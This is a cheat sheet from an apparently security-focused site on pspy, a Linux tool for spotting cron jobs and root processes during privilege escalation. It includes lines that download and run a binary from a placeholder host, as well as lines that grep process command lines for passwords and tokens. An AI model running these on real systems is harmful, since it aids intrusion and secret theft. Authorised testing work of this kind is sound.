root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to cheatsheets
root@sparrow:~/writeups$ cat pspy.md
// privesc

pspy

21 Jul 2026 · 5 min read
privesccheatsheetspspy
pspy is a command-line utility that shows, in real time, the processes and scheduled tasks running on a Linux system without requiring root permissions. It's a staple of the enumeration phase for uncovering cron jobs and privileged binaries you can abuse to escalate.

The key to pspy is that it does nothing privileged: it polls /proc at intervals and hooks inotify events, so it sees other users' processes (root included) without reading their memory or needing permissions. The trade-off is an inherent race: between two polls a very short-lived process can appear and die before you catch it, which is why the interval (-i) is the parameter that really matters to tune.

1. Beginner level — basic processes and cron

PSPY cheat sheet — Beginner
CommandWhat it does
./pspy64Monitors processes and cron without being root
./pspy3232-bit version
./pspy64 -pfAlso watches filesystem events
./pspy64 -i 1000Polling interval (ms)
./pspy64 -fFilesystem events only
./pspy64 -pProcess events only
./pspy64 > out.txtSaves the output
./pspy64 -cShows the full command line
wget http://<ip>/pspy64 -O pspy64Downloads the binary
chmod +x pspy64Execution permissions
./pspy64 -hShows the help
./pspy64 -pf -i 500Processes + FS with fast polling
./pspy64 | grep -i rootFilters processes running as root
./pspy64 -f -r /tmpWatches writes to /tmp

2. Advanced level — aggressive polling and secrets

PSPY cheat sheet — Advanced
CommandWhat it does
./pspy64 -pf -i 100Very aggressive polling (captures short-lived processes)
./pspy64 -r /etc/cron.dWatches a specific directory (inotify)
./pspy64 | grep -iE 'passw|token|key'Hunts secrets in command lines
./pspy64 --color=false > logClean output to file
./pspy64 -i 50 | tee live.logMaximum polling + saving
./pspy64 -pf 2>/dev/nullSilences permission errors
./pspy64 | grep -i 'UID=0'Only commands running as root
./pspy64 -pf -c -i 100Everything: processes, FS, cmdline, fast
base64 -w0 pspy64Encodes for transfer over the console
./pspy64 -r /etc/cron.d -r /var/spool/cronWatches several cron paths
./pspy64 &Leaves pspy running in the background
curl http://<ip>/pspy64 -o p; chmod +x p; ./pDownloads, permissions and runs
./pspy64 -pf | grep -v pspyExcludes pspy itself from the noise
watch -n1 'ls -la /etc/cron*'Complements pspy by checking cron manually

3. Details people miss

  • pspy doesn't need root: it reads /proc and uses inotify, which is why it's the go-to tool during privilege escalation before you hold any privileges.
  • The binary is static and dependency-free; drop pspy64 or pspy32 depending on the target architecture and run it without installing anything.
  • Lowering the interval with -i captures very short-lived processes but spikes CPU usage; by design a fleeting process can always slip between two polls.
  • inotify watches specific directories and does not recurse into subdirectories; use several -r flags to cover every cron path you care about.
  • Cut the noise with grep (by UID=0 or words like passw/token) and exclude pspy itself, but still check cron manually as a complement, because pspy can't guarantee seeing 100% of the events.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.